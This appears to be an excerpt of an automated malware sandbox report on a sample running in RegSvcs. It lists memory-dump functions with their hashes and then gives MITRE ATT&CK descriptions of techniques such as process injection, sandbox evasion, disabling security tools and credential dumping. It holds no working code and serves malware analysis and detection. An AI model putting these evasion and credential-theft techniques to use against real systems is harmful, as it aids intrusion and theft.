Function 06B054D8 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6982cff2ab10e66ae1391705093ed51024876241f32eb1d5561cffecc0945b49
Instruction ID: 02610bab930dba474acbd0b77824fcaa454f34df724faab5abe6692fc2244b58
Opcode Fuzzy Hash: 6982cff2ab10e66ae1391705093ed51024876241f32eb1d5561cffecc0945b49
Instruction Fuzzy Hash: 7A4144B6E006098FEF70CE99D980BAFFFB2EB44210F105965D215D7650D730E8458F90

Function 06B0DB38 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b2919e7f895b7a7382bfac9ff97e9e3de043b4e74e9149879dc1f3d80f4f23
Instruction ID: c5434f08248c588dc7a81ccfcd0c5fe00fe172a0a9332b8078843f0f125a5d91
Opcode Fuzzy Hash: a4b2919e7f895b7a7382bfac9ff97e9e3de043b4e74e9149879dc1f3d80f4f23
Instruction Fuzzy Hash: 60417CB0E006099FEB64DFA5D49466EBFB6FF85340F208969D405EB280DB75D942CB81

Function 06B0DB25 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a5773de65aa62d67d2365cf5f3010241d045f932c06b5a9cc1e5a375f8ab9df
Instruction ID: 7065bf2ebffceaec24c3b4f9e8e3ce8ca3d110875e6d403fb1025a833a5137e9
Opcode Fuzzy Hash: 7a5773de65aa62d67d2365cf5f3010241d045f932c06b5a9cc1e5a375f8ab9df
Instruction Fuzzy Hash: 08418F70E006099FEB64DFA5D89469EBFB2FF85300F148969D401EB280DB74D842CB51

Function 06B0228D Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c61cbf25c3963f3227f4518767f62fb6cc264c39540ed451b76b8ba0e7252ca5
Instruction ID: 1fe1889552fb963d2e0797ed1720597b530e42983415e862f524e9398ecc97f5
Opcode Fuzzy Hash: c61cbf25c3963f3227f4518767f62fb6cc264c39540ed451b76b8ba0e7252ca5
Instruction Fuzzy Hash: 15310131B002058FEB689B75D55866E3FF7EB89710B5488A8D402EB380DE39DD4ACB90

Function 06B022A0 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2b3ea34296703aaeaafd1d03bad33fdc082cda7df17a75980601917cf980751
Instruction ID: d7b8d38d65ccf57aa59eeaef6c8dc7844805cad7aed6b3cf377f56dc30215bf5
Opcode Fuzzy Hash: f2b3ea34296703aaeaafd1d03bad33fdc082cda7df17a75980601917cf980751
Instruction Fuzzy Hash: 0C31F271F002058FEB689B75D55866E3FE3EB88300B2088A8D402EB380DE39CD46CB91

Function 06B0D9D8 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8da2a09cb0a6090013c794bd7168b2bc0c73f2aa887e263cce9474ff0cc70c6f
Instruction ID: 23906952c2a8099d58aceded25f9e7f3267960245668cdbe9ff1778f06cc37b8
Opcode Fuzzy Hash: 8da2a09cb0a6090013c794bd7168b2bc0c73f2aa887e263cce9474ff0cc70c6f
Instruction Fuzzy Hash: 2C31A770E103099FDB25DFA4C99069EBFB2EF84300F208969E505FB290DB70E9468B90

Function 06B02150 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08111320480a70551f0dc73c930ffc9de1c370898f3a302f8f2db6e1c80de376
Instruction ID: f174090ba60e2924b83204087f1368b6f0275dd5fba9b4305fa17a7b3b4db06f
Opcode Fuzzy Hash: 08111320480a70551f0dc73c930ffc9de1c370898f3a302f8f2db6e1c80de376
Instruction Fuzzy Hash: AA317E71E102199FDB15CFA4C898A9EBBF2FF89700F108969E906E7390DB71AD45CB50

Function 06B02160 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 407a3f32f3267ae75eaed2874ba828399a067a6bcba6e14363a1dc77ce44267a
Instruction ID: 1be7441c97bd5e53da1422b7307f7e0d1fa33e182420647d06c77157a557c1d3
Opcode Fuzzy Hash: 407a3f32f3267ae75eaed2874ba828399a067a6bcba6e14363a1dc77ce44267a
Instruction Fuzzy Hash: 94318071E102199BDB59CFA4C89869EBFF2FF89300F108969E906E7390DB71AD45CB50

Function 06B03B50 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2a63ccc592b4fa9780c011da32ab69178a1397464a92d90be2d08e807f69a8b
Instruction ID: 7b5703d3397d2f6fb050278307cb9207317aa509153f2e36aa0dc6d9e6498c89
Opcode Fuzzy Hash: a2a63ccc592b4fa9780c011da32ab69178a1397464a92d90be2d08e807f69a8b
Instruction Fuzzy Hash: 9E315CB5E002159FEB50DF69D980A9EBFF5EB48750F14806AE901EB390E7389C518BA4

Function 06B03B60 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42098de95f91feb9e02d4c57beb81de0fc8d60758853184789c5e5d4c7e07de3
Instruction ID: e06b97e775e30d97abe7d9369c694d66489ebff79ac8563c69a9ccf9fe0b7aaf
Opcode Fuzzy Hash: 42098de95f91feb9e02d4c57beb81de0fc8d60758853184789c5e5d4c7e07de3
Instruction Fuzzy Hash: 6C218B75E002158FEB50DF69D980AAEBFF5EB48750F108079E905EB390EB38DC418BA4

Function 02E2D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2662141537.0000000002E2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e2d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51ac4b650b61b6cd2bf865728a1ca708eb9d827d133b7d0830008b052aedeabf
Instruction ID: 31f1a91f298b53c28b7265cc96739a2c1a229fc235e6498bd7073626cb33fdab
Opcode Fuzzy Hash: 51ac4b650b61b6cd2bf865728a1ca708eb9d827d133b7d0830008b052aedeabf
Instruction Fuzzy Hash: 32210771544344DFDB14DF10CDC0F26BB66FB88318F24C56DEA4A4B292C736D84ACA62

Function 06B06D80 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: febcc993aa2855db3a6ae0d1c5fb04cf11fc4137e39c7be0392796f1969bf436
Instruction ID: 4d4a2146249cb71bee9c984d03bb9339e21518146412e7d5f5fcbe589b32fbee
Opcode Fuzzy Hash: febcc993aa2855db3a6ae0d1c5fb04cf11fc4137e39c7be0392796f1969bf436
Instruction Fuzzy Hash: DE210F70F101088BEF44DB69E9506AEBFB2EB84310F2485B8D405EB381EB36AC108B90

Function 06B0AF88 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 864ce607d9790ccc47d0efc52864bcaeee14e9687a913b64a5841924e4271dc2
Instruction ID: f2c22a89687de8e24153820528b50655497206ffa1f821a49cf17cc45ab842c7
Opcode Fuzzy Hash: 864ce607d9790ccc47d0efc52864bcaeee14e9687a913b64a5841924e4271dc2
Instruction Fuzzy Hash: D4117FB1D1075A9BDB21CFA9C45069EBFF5FF85340F10496AE805FB280D771A845CB81

Function 06B03C70 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 512675fae62d4c70a0c24fcdb7de0e9c1bb1522008ffcd0744db0ac53542e46c
Instruction ID: 66aa55a21205e01f18c01998e4ac1445cebeef5698e4a8963a3b6d57b1a1cb75
Opcode Fuzzy Hash: 512675fae62d4c70a0c24fcdb7de0e9c1bb1522008ffcd0744db0ac53542e46c
Instruction Fuzzy Hash: 4211E532B101294FDF549A78DC186AE7BF6EBC9701F04857AD806E7380DE25DC0147E0

Function 06B042B0 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3e46eaab67a6517fac311d9b2303bd0480b1edee5a8cd9fda0608baf8ca1e7b
Instruction ID: f8462c08a25e905499d04846c89839f5495de04e63beccc0b8ddcbf06334da21
Opcode Fuzzy Hash: a3e46eaab67a6517fac311d9b2303bd0480b1edee5a8cd9fda0608baf8ca1e7b
Instruction Fuzzy Hash: A501D4B5B102104FEB6595ACA81172BBFE6DBCA720F10947DE20ACB392EE65DC024391

Function 06B0A36F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39d597ea85614a7f8de93da29d0c902bb06eadfbaeacc0bc4bb80dc2b9982293
Instruction ID: 4fb7bb4f54272134b629eb94cde8451a04bb0966dd7446fbc6a32c65086176f5
Opcode Fuzzy Hash: 39d597ea85614a7f8de93da29d0c902bb06eadfbaeacc0bc4bb80dc2b9982293
Instruction Fuzzy Hash: 8E012435B002004FEB65DA68DA5075E7FE2EB89700F1088BEE00ADB392EF34DC028780

Function 06B03928 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aabeaa335c435ea2d161584543522edc8b1c3769831bd947f71022c407f910f2
Instruction ID: 866ed0f463ccdf553397bf837e3f4c6d6da0f880f1aeb77a4c3123afe4fa6906
Opcode Fuzzy Hash: aabeaa335c435ea2d161584543522edc8b1c3769831bd947f71022c407f910f2
Instruction Fuzzy Hash: CE21EDB5900219AFDB00CF9AD984A8EFBB4FB49310F10812AE918B7240D374A944CBA4

Function 06B03110 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 260783db3e8656a4fc83dd0c801efebe28b373bf2820a66a0fbaeec365631bf2
Instruction ID: df79342f9bcb1a347fa4c67632bec194c3b3026f9e92266d470b62c82e4b5236
Opcode Fuzzy Hash: 260783db3e8656a4fc83dd0c801efebe28b373bf2820a66a0fbaeec365631bf2
Instruction Fuzzy Hash: 14016175E002299BEB54DB79C8445DEFFF5EBC9310F1485AAD506E7240DE309A40CBA0

Function 02E2D03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2662141537.0000000002E2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e2d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0571d9b095afed8b546122286ae05565a289416437c47d1601190cbee81fcf2c
Instruction ID: 4d8cf47471e91336d95dd9ffa32842053618ab00706e7e853bf60caa3a9974c6
Opcode Fuzzy Hash: 0571d9b095afed8b546122286ae05565a289416437c47d1601190cbee81fcf2c
Instruction Fuzzy Hash: 30119075544244DFCB15CF10D9C4B16BB62FB44318F28C6A9D94A4B6A6C33AD84ACF61

Function 06B03C60 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02f9bd9aa5144ef26f72ac9fe864d33ab68837539ca034dbb54668670590dbac
Instruction ID: 6aaea721b88e4c0d8cdb794c3c1114db4f65dbce5c0a9bb20bab6d16a8b14ff3
Opcode Fuzzy Hash: 02f9bd9aa5144ef26f72ac9fe864d33ab68837539ca034dbb54668670590dbac
Instruction Fuzzy Hash: 5A01F236B101254BDF989A689D287EF3BEBEBC9351F05413AD806E7380EE24CC1247E1

Function 06B0F1F1 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d378c5ff248ac25cbf12356b75616d781c2551b7914d6dff4ebcb3c39ac4c3a
Instruction ID: f0b3a363b33cb61b4f1694c5fa187aec40f424c1a967e82a2bdc96ca7e92048e
Opcode Fuzzy Hash: 9d378c5ff248ac25cbf12356b75616d781c2551b7914d6dff4ebcb3c39ac4c3a
Instruction Fuzzy Hash: 8801F179B001414BDB259A7CD45072AAFDAEBC9710F1488ADF50AC7382DA20DC024780

Function 06B03930 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaa8a6260e7061ef968762064a8050ed916a76509febb299d5e9235b0351b5e5
Instruction ID: d51b4b74de0b178cc922258ab982fd4e2759cff0351c920406e71402f0a7a701
Opcode Fuzzy Hash: aaa8a6260e7061ef968762064a8050ed916a76509febb299d5e9235b0351b5e5
Instruction Fuzzy Hash: A911CFB5D01259AFDB00DF9AD884ACEFFF8FB49310F10816AE918A7240D374A944CFA5

Function 06B042C0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b897690e7b9edd9fd1e8fb618a29c73af7f3b91170d4144b1613bb7fbb3c91ce
Instruction ID: 8d82b3939e950de3c65572fc5a7074a91315b05d6d878b8ce9efec21f5ac3f68
Opcode Fuzzy Hash: b897690e7b9edd9fd1e8fb618a29c73af7f3b91170d4144b1613bb7fbb3c91ce
Instruction Fuzzy Hash: 9D01D171B101104BEB6595ADD85072FBFDADBC9720F20987DE20AC7392EE25EC020391

Function 06B0F200 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fc20c403bd38e08a41ee1838efe249ca39f9abc0957b783b77b487bcc9d3c55
Instruction ID: 99682e2ca6aff5c0e2081d46d6f5e94872c644b24464f8baaf72810ef0698866
Opcode Fuzzy Hash: 1fc20c403bd38e08a41ee1838efe249ca39f9abc0957b783b77b487bcc9d3c55
Instruction Fuzzy Hash: 9C01AD75B101144BEB65996DD45073BBBDAE7C9710F10887DF90AC7381DE25DC024791

Function 06B0A380 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 053c6fec2a57b2d6bd4d8ff2fca433605220a96576b0cedb3cd7852f99235278
Instruction ID: 521e2ed538a11403115b911ec7f413a8fcc7ae7e792e976b5278c0e2fa60fc74
Opcode Fuzzy Hash: 053c6fec2a57b2d6bd4d8ff2fca433605220a96576b0cedb3cd7852f99235278
Instruction Fuzzy Hash: 40018175B102144BEB64EA6CE854B2FBBD6DB89710F10887DE50AD7392DE39EC028780

Function 06B0C830 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f1623acb3638b9940310c141edac3c0f4e9cce12eec0ac43e659f084544f402
Instruction ID: f0b38d416fe3b81a2c57ebd83311c9c6f3610a716d30e4e0afa616928e3e7ba6
Opcode Fuzzy Hash: 0f1623acb3638b9940310c141edac3c0f4e9cce12eec0ac43e659f084544f402
Instruction Fuzzy Hash: EEF02B31B203249BDB9499A4EC006DA7F35EB84294F100138ED01FB3C1D7359C02CBC0

Function 06B0C840 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4a38d402650b8b5f38c74ae4174e8cf5b3ec5fe3268b87bffc69f1bd928e4a3
Instruction ID: 54c60fd1fcb7f024742ac174c0eb161c8a01df75ab60e5d331a725a11c1bcc79
Opcode Fuzzy Hash: a4a38d402650b8b5f38c74ae4174e8cf5b3ec5fe3268b87bffc69f1bd928e4a3
Instruction Fuzzy Hash: EBF0A772E212689BEB549965DC049DABF39E784254F104579ED11F7384DB756C01CBC0

Function 06B064D9 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39826d8a269504630e9304b5c0bb6b7bf7ffd123302c054139d38a4581b44ce9
Instruction ID: b60329deb84ac31c76159f460eabdddb2db4afa6ae05ba0877c98f6e05346c98
Opcode Fuzzy Hash: 39826d8a269504630e9304b5c0bb6b7bf7ffd123302c054139d38a4581b44ce9
Instruction Fuzzy Hash: 36E048F1E292499BFF90CBB487453597FB5EF42214F2449E9C444D7182E176CE118741

Function 06B064E8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2671063416.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 792587521a662a8972fb7f4186630decc3702f0c058c1e208358ca1e81fdb9fc
Instruction ID: 1a0b5689a9d11f5bd8bba7ee238312c5c888f3105877967fed62ae2d549c5dbc
Opcode Fuzzy Hash: 792587521a662a8972fb7f4186630decc3702f0c058c1e208358ca1e81fdb9fc
Instruction Fuzzy Hash: B6E0ECB1E1410DABFF50DEB5894575A7FADEB01214F2089E5D509C7281F176DE118790

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

